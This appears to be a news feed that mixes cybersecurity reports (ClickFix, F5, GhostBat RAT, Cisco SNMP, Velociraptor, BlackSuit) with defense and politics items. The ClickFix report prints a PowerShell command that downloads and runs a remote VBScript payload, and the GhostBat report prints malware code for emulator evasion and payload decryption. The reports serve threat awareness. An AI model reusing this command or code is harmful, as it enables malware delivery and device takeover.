• In mid-2025, Lab539 researchers observed an unexpected surge in a novel browser-based malware campaign dubbed “ClickFix.”

    Emerging quietly in July, the threat quickly expanded its reach by registering over 13,000 unique domains designed to lure users into executing malicious commands on their own devices.

    The attack leverages compromised or low-cost hosting infrastructure, including a significant portion behind Cloudflare, to deliver payloads via deceptively benign web prompts.

    Users encountering these sites are first challenged with a CAPTCHA before being instructed to run a command from their clipboard, granting attackers the ability to deploy arbitrary scripts or executables.

    Initially, the volume of ClickFix domains appeared unremarkable amid the vast sea of adversary activity.

    However, by mid-August, a remarkable spike raised alarms across multiple threat-intelligence platforms.

    Lab539 analysts noted the sudden proliferation of front-end sites that frontload malware delivery under the guise of “verification” steps, a hallmark that distinguishes ClickFix from more traditional phishing or watering-hole attacks.

    The scale of domain registration suggested an automated provisioning pipeline, likely fueled by pay-as-you-go registrar services and resold hosting, rather than the manual setup favored by advanced persistent threat actors.

    Despite Cloudflare’s dominance among hosting providers, accounting for about 24% of observed ClickFix domains, the campaign’s long tail of nearly 500 other providers reveals a strategic use of diverse infrastructure to evade simple blocklists.

    Regional VPS services in the United States, Germany, Indonesia, and Brazil feature prominently, reflecting both global distribution and opportunistic compromise of third-party servers.

    In many cases, attackers repurpose stale or misconfigured subdomains—such as decades-old academic or municipal hosts—to blend malicious traffic with legitimate DNS records.

    ClickFix prompt encountered by victims (Source – Lab539)

    Infection Mechanism and Payload Delivery

    The core infection mechanism relies on leveraging the browser’s clipboard API to plant a command that the user unwittingly pastes into a terminal.

    Once a CAPTCHA completes, the site writes a PowerShell command sequence like the following to the clipboard:-

    cmd /c start /min powershell -Command curl.exe -s https://cf-unstable.mediacaptcha.txt -o $env:TEMP\captcha.vbs; Start-Process $env:TEMP\captcha.vbs

    This single line downloads and executes a VBScript payload without further user interaction, exemplifying the campaign’s emphasis on social engineering over exploit chaining.

    Variations include direct executable downloads and obfuscated scripts, indicating multiple operators employing the ClickFix framework.

    The ubiquity of this mechanism underscores how minimal technical sophistication can still yield large-scale intrusion opportunities when combined with automated domain registration and global hosting assets.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Hackers Registered 13,000+ Unique Domains and Leverages Cloudflare to Launch Clickfix Attacks appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The U.S. military destroyed another boat in the waters around Latin America, killing six people on board the vessel, President Trump announced Tuesday on social media. The episode marks the sixth known watercraft destroyed by U.S. forces in the region since Trump greenlit the first attack early last month. 

    As before, Trump alleges those on the boat were affiliated with “a Designated Terrorist Organization (DTO) conducting narcotrafficking…off the Coast of Venezuela,” he wrote online Tuesday. “Intelligence confirmed the vessel was trafficking narcotics, was associated with illicit narcoterrorist networks, and was transiting along a known DTO route,” Trump said. 

    Reminder: It still appears Trump does not have the authority, under Article II of the Constitution, to order these killings, former State Department counsel Brian Finucane explained as part of a recent longer discussion with colleagues at Just Security. To date, more than two dozen people have been killed in these U.S. attacks. 

    National Guard soldiers are patrolling Beale Street as immigration enforcers have been conducting “mass pullovers” in Memphis while other Guard forces have been spotted “walking along the Mississippi River, and visiting the Bass Pro Shops at the Pyramid,” the local Commercial Appeal reported Tuesday. 

    The Guard presence began on Friday, and the city’s mayor says it’s unclear how long the soldiers will patrol Memphis. The Guard’s domestic deployment is ostensibly part of the Trump administration’s alleged effort to crack down on crime, though some critics view it more as a means of accelerating immigration enforcement. 

    Five other states have timelines for their domestic Guard deployments to Washington, D.C. Eight states have sent a total of 2,300 soldiers to the nation’s capital at Trump’s request—which was based on false and exaggerated crime statistics. Those states include Georgia, Mississippi, South Carolina, Ohio, West Virginia, Alabama, Louisiana and South Dakota. South Carolina expects to end their DC deployment by the end of the month, while Ohio, Georgia, Mississippi, and West Virginia are targeting the end of November for a withdrawal of their forces from Washington, according to the Associated Press. (Alabama, Louisiana and South Dakota have not yet provided an end date.)

    Mounting costs: The Guard “deployments could wind up costing Americans roughly two-thirds of a billion dollars,” Marc Novicoff Friday for the Atlantic. In addition to Washington, D.C., and Los Angeles, “Tens of millions of dollars—perhaps hundreds of millions in total—will be spent on deployments to Chicago, Portland, and Memphis, if Trump’s plans for those cities proceed,” Novicoff writes, and puts it all together to note, “it is hard to think of a less efficient way of doing so than shifting funds away from violence prevention and local law enforcement and toward troops who stand in low-crime areas and don’t make arrests.”

    Why bring it up: “These expenses would seem to undermine an administration that has claimed to go after ‘waste, fraud, and abuse’ wherever possible…if that’s the goal, the method the administration has settled on is highly inefficient,” Novicoff writes. And ICYMI, “While some types of crime—especially gun offenses—have become less frequent since Trump ordered troops into the city, overall violent crime hasn't changed that much” since the troops arrived in Washington two months ago, Reuters reported 10 days ago. 

    We have a few new snapshots of Guard forces on the job in Washington thanks to some police-report sleuthing this week by Brad Heath of Reuters. For example, on October 5, “a 7-11 manager flagged down soldiers to report that a man who tried to pay $2 for $4.50 worth of pizza. He also threw pizza at the manager, then his friend stole two slices of pizza. Soldiers pursued and detained both accused pizza thieves.” 

    The next day, “police approached a man suspected of kicking the glass door of a McDonald's until it broke. He tried to walk away from the officers, but stopped when National Guardsmen cut him off,” Heath writes. And the week before that, “soldiers from West Virginia patrolling D.C.'s Navy Yard area observed a man masturbating in public. The soldiers ‘advised [him] to stop.’ Police officers arrested him a little while later after they said they saw him peeing in front of a restaurant.” Read over two more episodes, here

    Related reading: 


    Welcome to this Wednesday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson and Bradley Peniston. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1990, Soviet Union leader Mikhail Gorbachev was awarded the Nobel Peace Prize.

    AUSA developments

    China is ‘pacing threat,’ Army Secretary says—while backing Trump’s homeland defense push. “I think my understanding of the administration's priorities and the Secretary of War is [that] China is the pacing threat,” Army Secretary Dan Driscoll said on the sidelines of the annual Association of the U.S. Army’s conference in Washington, D.C. 

    But Driscoll stopped short of calling China the top priority, adding that “we are also, at the same time, in parallel, executing on providing security and maintaining what the president has done at the border.” Strategic documents have detailed the shift in military focus from China to border enforcement, countering drug trafficking, and backing the Department of Homeland Security. Defense One’s Thomas Novelly has more from that sidelines conversation, here.

    More Defense One reporting from AUSA:

    Pentagon media policy

    Today’s the deadline for most Pentagon reporters to sign an agreement accepting unprecedented restrictions on covering the military or turn in their badges. Washington Post: “Fox News, along with ABC, CBS and NBC, did not sign the Defense Department’s press policy by Tuesday’s deadline, having earlier in the day denounced the new regulations in a joint statement that included CNN, which previously said it would not sign.

    Fox: “Today, we join virtually every other news organization in declining to agree to the Pentagon’s new requirements, which would restrict journalists’ ability to keep the nation and the world informed of important national security issues,” the news networks wrote. “The policy is without precedent and threatens core journalistic protections. We will continue to cover the U.S. military as each of our organizations has done for many decades, upholding the principles of a free and independent press.” The Post’s article includes a list of dozens of media outlets and their stances; only One America News has declared it will sign.

    Defense One and seven other defense trade publications are declining to sign; they issued this joint statement on Wednesday morning. Trump, who last week seemed lukewarm on Hegseth’s new policy, seemed more supportive on Tuesday, and even suggested he could move the White House press corps “across the street.” 

    And Hegseth repeated a misleading statement about the current rules for reporters. “Maybe the policy should look like the White House, or other military installations where you have to wear a badge that identifies that you’re press, or you can’t just roam anywhere you want,” he said; in fact, reporters are required to wear badges in the Pentagon like anyone else, and may not enter restricted areas. Mediate has more, here.  

    Backgrounder: Read a bit more about Defense Secretary Pete “Hegseth’s legal fixer at the center of [the] Pentagon’s new media restrictions,” via Dan Lamothe’s Wednesday reporting at the Washington Post.

    In solidarity with the Pentagon Press Corps, Clayton Weimers, the U.S.-based executive director of Reporters Without Borders, released a statement Tuesday writing, “On a daily basis, the US military is responsible for the lives of millions of Americans, combat operations around the world, and nearly a trillion dollars of US taxpayer money. The Pentagon cannot evade accountability or criticism by crushing the independence of the media in clear violation of the First Amendment.”

    Sen. Jack Reed, D-R.I., and ranking member of the Armed Services Committee: “A free and fair press is essential to our nation, but Secretary Hegseth is attempting to shut down independent reporting with these coercive restrictions…Hegseth and his team have missed the mark legally and morally, and they should immediately abandon this policy and restore the Pentagon’s longstanding commitment to independent press access. The Secretary of Defense should lead by example with seriousness and integrity, not secrecy and suspicion.”

    Big-picture analysis: “What Trump and Hegseth are doing…represents a threat to democracy—and a profound test for service members, who do not swear a personal loyalty oath to the president but to ‘support and defend the Constitution of the United States,’” says Max Boot of the Council on Foreign Relations, writing Wednesday in Foreign Affairs “By trying to politicize the military, the Trump administration is breaking trust with the men and women in uniform and driving talented leaders out of the force. The dearth of military pushback, then, begs the question of how effectively Trump and Hegseth have cleaned house, rooting out those who might disagree with them.”

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • F5, a leading provider of application security and delivery solutions, disclosed a major security incident. The company revealed that a sophisticated nation-state threat actor had gained long-term access to internal systems, exfiltrating sensitive files including BIG-IP source code and details on undisclosed vulnerabilities.

    While F5 emphasized that no critical exploits or active attacks on customers have been detected, the breach underscores the vulnerabilities in even the most secure development environments.

    The intrusion, discovered in August 2025, involved persistent access to F5’s BIG-IP product development environment and engineering knowledge management platforms.

    According to the company’s official statement, the actor downloaded files containing proprietary source code for its flagship BIG-IP software, which powers load balancing and security for millions of enterprise applications worldwide.

    Additionally, the stolen data included information on vulnerabilities that F5 was actively researching and patching. However, the firm stressed that these were not critical remote code execution flaws and showed no signs of exploitation in the wild.

    Breach Details

    F5’s investigation, aided by cybersecurity CrowdStrike and Mandiant, found no evidence of tampering with the software supply chain, including build pipelines or released code.

    Independent audits by NCC Group and IOActive corroborated this, ruling out modifications that could have introduced backdoors into customer deployments. The breach also spared key areas like NGINX source code, F5 Distributed Cloud Services, and Silverline DDoS protection systems.

    However, some fallout reached customers. A small subset of exfiltrated files from the knowledge platform held configuration details for certain BIG-IP implementations.

    F5 plans to notify affected users directly after reviewing the data. Crucially, no customer records from CRM, financial systems, support portals, or the iHealth monitoring tool were compromised, limiting broader privacy risks.

    F5 acted swiftly to contain the threat, rotating credentials, bolstering access controls, and deploying advanced monitoring tools. No further unauthorized activity has occurred since containment.

    To safeguard users, the company rolled out urgent patches for BIG-IP, F5OS, BIG-IP Next for Kubernetes, BIG-IQ, and APM clients in its October 2025 Quarterly Security Notification. Customers are urged to apply these updates immediately, even in the absence of known exploits.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post F5 Breached – Hackers Stole BIG-IP Source Code and Undisclosed Vulnerabilities Data appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The GhostBat RAT campaign has emerged as a sophisticated threat targeting Indian Android users through counterfeit Regional Transport Office (RTO) applications.

    First observed in mid-2025, these malicious APKs masquerade as the official “mParivahan” app, exploiting user trust in government services.

    Distribution occurs primarily via smishing—WhatsApp messages and SMS containing shortened URLs redirecting victims to GitHub-hosted payloads—or through compromised websites.

    Malicious APKs circulating on WhatsApp (Source – Cyble)

    Once installed, the malware prompts victims to grant SMS-related permissions under the guise of essential updates, setting the stage for banking data exfiltration.

    Upon installation, the app displays a phishing interface remarkably similar to the genuine mParivahan layout.

    The victim is prompted to enter vehicle and mobile details, followed by a fake UPI payment request of ₹1 to “verify ownership.”

    Meanwhile, SMS messages containing banking-related keywords are harvested and exfiltrated to attacker-controlled servers.

    Incoming one-time passwords (OTPs) can be forwarded directly to adversaries, facilitating unauthorized transactions.

    Cyble analysts noted the incorporation of a Telegram bot, GhostBatRatbot, which registers infected devices and serves as a command channel for stolen data.

    Underneath the social engineering facade, GhostBat RAT relies on multiple anti-analysis and obfuscation tactics.

    The initial dropper performs anti-emulation checks by interrogating Build.CPU_ABI and Build.MANUFACTURER values, terminating execution if an emulator is detected.

    Sample code from this stage illustrates the heavy string obfuscation and emulator avoidance logic:

    public static boolean isRealDevice(String abi) {
        if (abi.equals("x86") || abi.equals("x86_64")) {
            return false;
        }
        String manufacturer = Build.MANUFACTURER.toLowerCase(Locale.ROOT);
        if (manufacturer.contains("generic") || manufacturer.contains("emulator")) {
            return false;
        }
        return true;
    }
    Malware implemented anti-emulation techniques (Source – Cyble)

    A multi-stage dropper then decrypts embedded payloads using XOR operations and dynamic DexClassLoader loading, ensuring detection evasion.

    Native libraries (.so) further complicate analysis by reconstructing API calls in memory via JNI. These layers collectively hinder reverse engineering and antivirus detection.

    GhostBat RAT’s Infection Mechanism

    Here the complete infection mechanism leverages smishing URLs disguised as RTO services. Upon clicking a shortened link, users download an APK hosted on GitHub or similar platforms.

    The installer requests SMS-read and SMS-send permissions, which victims often grant under the pretext of service functionality.

    Once permissions are in place, the dropper decrypts its second-stage payload:-

    InputStream in = context.getAssets().open("encrypted_payload");
    byte[] data = new byte[in.available()];
    in.read(data);
    in.close();
    byte[] key = MessageDigest.getInstance("SHA-1")
        .digest("encrypted_payload".getBytes(StandardCharsets.UTF_8));
    for (int i = 0; i < data.length; i++) {
        data[i] ^= key[i % key.length];
    }
    DexClassLoader loader = new DexClassLoader(
        saveToFile(data), context.getCacheDir().getAbsolutePath(),
        null, context.getClassLoader()
    );

    This decrypted component houses the credential stealer and cryptominer modules, which are loaded dynamically.

    The final payload mimics a genuine app update page, tricking users into installing the malicious mParivahan app.

    By chaining these stages, GhostBat RAT achieves stealthy installation and robust persistence, making it a significant risk to Indian mobile banking users.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post GhostBat RAT Android Malware With Fake RTO Apps Steals Targeting Indian Users to Steal Banking Data appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A sophisticated attack campaign dubbed “Operation Zero Disco,” where threat actors are actively exploiting a critical Cisco Simple Network Management Protocol (SNMP) vulnerability to install Linux rootkits on vulnerable network devices.

    Trend Micro observed an operation exploiting CVE-2025-20352, which allows remote code execution (RCE) and grants persistent unauthorized access, primarily targeting older Cisco switches that lack modern protections.

    As of October 2025, the campaign has impacted enterprise networks, highlighting ongoing risks in legacy infrastructure.​

    The core flaw, detailed in Cisco’s security advisory, stems from a buffer overflow in the SNMP authentication framework on Cisco IOS XE Software.

    Attackers send crafted SNMP Get-Request packets to overflow the buffer, allowing arbitrary code execution on both 32-bit and 64-bit switch architectures.

    Once exploited, the malware deploys a rootkit that sets a universal password containing the term “disco” a subtle nod to “Cisco” granting attackers broad access across authentication methods like AAA and local logins.

    This password mechanism hooks into the IOSd memory space, ensuring fileless persistence that vanishes upon reboot to complicate detection.

    Cisco SNMP Vulnerability Actively Exploited

    Trend Micro’s investigation revealed attackers chaining this with a modified Telnet vulnerability derived from CVE-2017-3881, repurposed for memory read/write operations rather than outright RCE.

    For 32-bit targets like the legacy Cisco 3750G series, network captures showed fragmented SNMP packets smuggling commands, such as “$(ps -a,” limited by byte constraints per packet.

    SNMP packets smuggling commands
    SNMP packets smuggling commands

    On 64-bit platforms, including Cisco 9400 and 9300 series, exploits require elevated privileges to activate guest shells, enabling UDP-based controllers for advanced post-exploitation.

    These controllers toggle logs, bypass access controls, and conceal configuration changes, such as hiding specific ACLs (e.g., EnaQWklg0) or EEM scripts (CiscoEMX-1 through 5).​

    In simulated scenarios mirroring real-world breaches, attackers infiltrate segmented networks by exploiting default public SNMP communities on switches.

    They bypass external firewalls using stolen credentials, then target core switches to manipulate VLAN routing and perform ARP spoofing via Linux ELF binaries run in guest shells.

    SNMP 0-Day Vulnerability Actively Exploited
    SNMP 0-Day Vulnerability Actively Exploited

    By impersonating trusted waystation IPs, intruders disable logging, redirect traffic, and access protected zones like server farms without triggering internal firewalls.

    Upon exit, they restore logs and timestamps to erase traces, facilitating undetected lateral movement across DMZs, offices, and secure data areas.​

    The campaign focuses on outdated Linux-based systems without endpoint detection and response (EDR) tools, using spoofed IPs and email addresses for anonymity.

    While Address Space Layout Randomization (ASLR) on newer models thwarts some attempts, persistent probing can still succeed, as observed in Trend Micro telemetry.

    Cisco collaborated on forensics, confirming impacts on phased-out 3750G devices alongside active 9400 and 9300 lines.​

    Mitigations

    No automated tool fully detects these rootkits, so organizations should contact Cisco TAC for firmware inspections.

    Trend Micro recommends deploying Cloud One Network Security for virtual patching and intrusion prevention, alongside Deep Discovery Inspector rules like 5497 for UDP controller traffic.

    Vision One customers gain hunting queries and IoC sweeps, blocking exploits via rules such as 46396 for SNMP overflows.

    Patching CVE-2025-20352 immediately, restricting SNMP to authenticated communities, and segmenting legacy devices are critical steps.

    This operation underscores the dangers of unpatched network gear, urging enterprises to prioritize updates amid rising state-sponsored and cybercrime threats.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Cisco SNMP 0-Day Vulnerability Actively Exploited To Deploy Linux Rootkits appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The China Intelligence: What open sources tell us about Chinese forces, weapons, and strategy.

    The People's Liberation Army is building an “invisible net” across the western Pacific, a five-layer, seabed-to-space sensor architecture known as the Transparent Ocean strategy that challenges the ability of U.S. and allied submarines (our “black sharks”) to maneuver and hide.

    The threat was on display in August during the PLA Navy and Russia's Joint Sea-2025 exercises near Vladivostok. In joint anti-submarine warfare drills, Chinese and Russian forces linked their communications and shared hydro-meteorological and air-sea tracks in real time. The goal, according to Chinese state media, was to leave deep-diving submarines with nowhere to hide. 

    This exercise served as an early demonstration of a mature, automated kill web that China plans to spread across multiple seas and oceans. Intended to enable persistent, real-time tracking across vast areas, the web will consist of five layers:

    • Ocean Star Cluster (space): A constellation of satellites, centered on the Guanlan interferometric radar altimetry and ocean-profiling lidar system. This layer provides wide-area surveillance and flags specific locations, cueing the lower layers to wake up and focus.
    • Air-Sea Interface (surface/near-surface): Smart buoys, wave gliders, and unmanned surface vessels hold station across vital straits and shelves. They sample the upper ocean and act as crucial routers, translating slow underwater acoustic data packets into high-bandwidth satellite or cellular bursts for transmission ashore.
    • Starry Deep Sea (water column): Deep floats, long-range gliders, and autonomous underwater vehicles patrol below the mixed layer for weeks, profiling the ocean environment and towing acoustic payloads. They fill the gaps identified by the orbital layer.
    • Undersea Perspective (seabed): This is the backbone of the entire grid. Connected by undersea cables, observatories and hubs host passive arrays, precise clocks, and navigation beacons. They provide essential docking, data offload, and recharging for visiting vehicles, allowing unmanned submarines to loiter quietly and redeploy without surfacing, which drastically extends their endurance and reduces exposure.
    • Deep Blue Brain (data fusion): The core command layer that fuses the entire picture and orchestrates sensing. It's the tasking and decision-support hub that merges data from space, air, surface, and seabed, ready to hand targets to combat networks.

    In an influential primer, “From Kill Chain to Kill Web,” PLA theorists warn that a traditional, linear “kill chain” collapses when a single node is destroyed. Their response is the “maritime adaptive kill web,” a resilient, mesh-style network that offers multiple paths from sensor to shooter and promises instant bypasses for any node failures.

    A mature Transparent Ocean system is designed to automate this flow at scale. For instance, a Dalian Naval Academy study demonstrated a space-guided sea strike model that can compute 45 alternative paths and rank them by strike power and closure time. A PLA team developed an algorithm that reassembles broken chains by matching surviving nodes to the next‑best route. This ability to instantly reroute broken kill paths, a measurable metric for the PLA, is key to keeping the web fighting under fire. 

    This concept has moved quickly from the lab to the ocean, with a number of building blocks in the Transparent Ocean blueprint coming to fruition over the last decade. It also shows the sea-bed side of civil-military fusion efforts. 

    On the sensor side, Zhejiang University’s Zhairuoshan observatory first linked seabed probes to shore in 2014 and proved real-time undersea data flow. Today, the China Academy of Electronics and Information Technology runs a cross-domain maritime network that spans space, air, shore, surface, and subsea platforms to support situational awareness and environmental monitoring. Ocean University of China reported building the first Kuroshio Extension observation system, a chain of anchored moorings and repeat stations complemented by a roaming layer that keeps watch on one of the Western Pacific’s busiest water highways. 

    China’s extra-large uncrewed undersea vehicle, or XLUUV, effort is also maturing, with multiple large prototypes and a growing undersea force that provides the test beds to refine payloads, autonomy, and logistics for vehicles that will seed and service the sensor web. With backing from the government’s “Deep Sea Key Technologies &  Equipment” initiative, the Chinese Academy of Sciences’ Shenyang Institute of Automation kicked off “Project 912“ in 2018 to build an Orca-class XLUUV. More recently, Tianjin University’s Haiyan deep-sea gliders have shown ultra-long endurance in the Pacific, while Blue Whale wave-gliders act as surface relays, holding station for weeks and backhauling data from subsurface nodes to shore. Advances in quieting, batteries, and acoustic arrays have since moved from labs and academic settings into PLA trials, which is exactly what a kill web needs: more sensors, more routes, and faster handoffs.

    The relay tier is also growing. New cross-domain buoy designs and systems can switch among satellite links, cellular networks, and acoustic modems, closing the gap between UUVs, seabed sensors, and coastal command posts. The PLA Navy has also begun collaborating with various state-sponsored institutions to develop algorithms that enable communications buoys to select the best link on the fly and move data in real time from the water column to shore, a potential sign that a fieldable relay layer exists today.

    China is also working to develop the power systems needed for Transparent Ocean. Chinese studies stress that persistent deep-depth UUVs patrols will rely on endurance and efficiency. This mirrors Western research efforts on long-duration UUV autonomy and energy harvesting. As a result, China’s near-term priorities in the power realm include higher-specific-energy batteries, seawater metal-air cells for expendable nodes, and pierless recharging at seabed docks and cabled hubs. 

    Reliability remains the bottleneck in contested waters. Optics need clear water and precise alignment. Cellular communications die offshore. Acoustics degrade in cluttered littorals. Hence the emphasis on multi-pipe relays and “wake-up” schemes that sip milliwatts of power until needed. Recent Chinese studies describe cross-domain communication buoys that select the best link in real time, whether satellite, cellular, or acoustic. Likewise, Harbin Engineering University patents detail ultra-low-power acoustic wake-ups that let dormant nodes sleep for months and join the net only when cued. 

    The U.S. and its allies should watch for Transparent Ocean work, especially in key choke points such as the South China Sea, waters around Taiwan, the Luzon Strait, the Straits of Malacca, and approaches to Guam.

    A wider, denser and more effective Chinese sensor network will leave allied submarines with fewer places to hide, while faster cue-to-fire loops shrink the window within which they can be targeted. This will significantly complicate operations not just in a potential future war, but also peacetime covert and intelligence-surveillance-reconnaissance operations. 

    To contend with the changing seas, the United States and its allies should adopt a “mesh-vs-mesh” approach that recognizes that hiding is a shrinking option and instead builds on twin pillars of counter-sensing and counter-UUV operations. Each will require the U.S. Navy and its allies to develop new tactics and doctrine. Sensors can be foiled with deception and jamming, along with building more resilient, interoperable communications. In turn, UUVs can themselves be hunted, disrupted or even defeated through both kinetic and electromagnetic means. 

    Working with partners in the region will also be essential to out-cycle Beijing’s new web of observation. Australia’s Ghost Shark can send payload-capable UUVs forward, while Japanese investments in long-range underwater communications can strengthen command and control around the Ryukyu Arc. 

    Allies should stitch these efforts into more cohesive acquisitions and a shared, rehearsed playbook. Near-term priorities must include joint deception drills and seabed docking trials that remove human logistics from long-endurance UUV operation, as well as being prepared to deploy or even pre-position counter-UUV patrol boxes where PLA buoys and gliders already operate.

    Tye Graham is a Senior Researcher with BluePath Labs and a retired U.S. Army Foreign Area Officer.

    P.W. Singer is Strategist at New America and the author of multiple books on technology and security, including Wired for War, Ghost Fleet, Burn-In, and LikeWar: The Weaponization of Social Media.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The following is a joint statement by defense publications regarding the Pentagon’s new restrictions on media. Released on Oct. 15, 2025, the statement is co-signed by Defense One.

    For decades, the defense trade media has been a trusted source of news and insight about Defense Department programs, budgets, and strategy. Ethical, accurate, and timely reporting makes that possible. The public, industry, and indeed the department itself benefit from granting credentialed defense reporters access to unclassified areas in the Pentagon and from the trust engendered by that access.

    The Pentagon has been seeking to impose unprecedented restrictions on journalists’ ability to cover the military for several months. Having restricted where unescorted media may go in the Pentagon—such that even visiting the public affairs offices of the military services now requires an escort—department leaders are asking reporters to sign a document acknowledging a vague new policy that, on its face, appears to contravene the First Amendment. This policy threatens to punish reporters who ask legitimate questions in the course of their daily work and to impose material harm on our news organizations for factual reporting.

    Journalists from the undersigned defense trade publications will not sign this new policy. Our newsrooms will continue to cover topics of military, defense, and national security fairly and independently.

    • Aviation Week 
    • Breaking Defense
    • Defense Daily
    • Defense One
    • Defense News
    • Inside Defense
    • Military Times
    • USNI News

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New research has uncovered that publishers of over 100 Visual Studio Code (VS Code) extensions leaked access tokens that could be exploited by bad actors to update the extensions, posing a critical software supply chain risk. “A leaked VSCode Marketplace or Open VSX PAT [personal access token] allows an attacker to directly distribute a malicious extension update across the entire install base,”

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The Cybersecurity and Infrastructure Security Agency (CISA) issued an urgent alert on October 14, 2025, highlighting a critical vulnerability in Rapid7’s Velociraptor endpoint detection and response (EDR) tool.

    This flaw, stemming from incorrect default permissions, has already been weaponized by threat actors to execute arbitrary commands and seize control of infected endpoints, amplifying risks for organizations relying on the open-source security platform.

    Velociraptor, popular among security teams for its forensic capabilities and artifact collection, suffers from a misconfiguration that allows authenticated users with artifact collection privileges to escalate their access.

    According to CISA’s Known Exploited Vulnerabilities (KEV) catalog, exploitation requires initial access to the endpoint but can lead to full takeover once inside.

    The vulnerability ties to CVE-2025-6264, which addresses improper handling of permissions, making it a classic case of default settings gone awry.

    Rapid7 acknowledged the issue in a recent advisory, urging users to update to version 0.7.1 or later, where stricter permission controls have been implemented.

    What makes this vulnerability particularly alarming is its confirmed use in ransomware campaigns. Threat groups, including those linked to LockBit and Conti variants, have exploited it to pivot from initial footholds into devastating network-wide infections.

    Security researchers at Mandiant reported instances where attackers used Velociraptor’s own artifact-gathering features against defenders, injecting malicious payloads that evaded traditional detection.

    In one documented case from late September 2025, a mid-sized financial firm lost endpoint visibility entirely after ransomware operators commandeered the tool, leading to data exfiltration and encryption across 500 devices.

    This incident underscores a troubling trend: adversaries increasingly target security software itself. By compromising EDR platforms like Velociraptor, attackers not only neutralize defenses but also gain reconnaissance advantages.

    CISA emphasized that unpatched systems face heightened risks, especially in sectors like healthcare and critical infrastructure, where endpoint monitoring is vital.

    Mitigations

    CISA recommends applying Rapid7’s patches immediately, enforcing least-privilege access for artifact collection, and adhering to Binding Operational Directive (BOD) 22-01 for cloud-based services.

    If mitigations prove infeasible, discontinuing use of the affected product is advised. The agency set a due date of November 4, 2025, for federal agencies to address the vulnerability, signaling its severity.

    Experts warn that this exploit highlights the double-edged sword of open-source tools: powerful yet prone to configuration pitfalls.

    As ransomware evolves, blending social engineering with technical exploits, defenders must prioritize rigorous permission audits.

    Rapid7 has maintained its documentation with step-by-step hardening guides, but proactive monitoring remains key. With attacks surging 30% year-over-year per recent reports, this CISA warning serves as a call to fortify the very tools meant to protect us.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post CISA Warns Of Rapid7 Velociraptor Vulnerability Exploited in Ransomware Attacks appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A major manufacturing company fell victim to a swift and devastating ransomware attack after threat actors gained access using just one set of stolen VPN credentials. The attack, carried out by the cybercrime group Ignoble Scorpius, culminated in widespread encryption of virtual machines and brought critical operations to a halt. The Initial Compromise The breach […]

    The post BlackSuit Ransomware Breaches Corporate Network Using Single Compromised VPN Credential appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶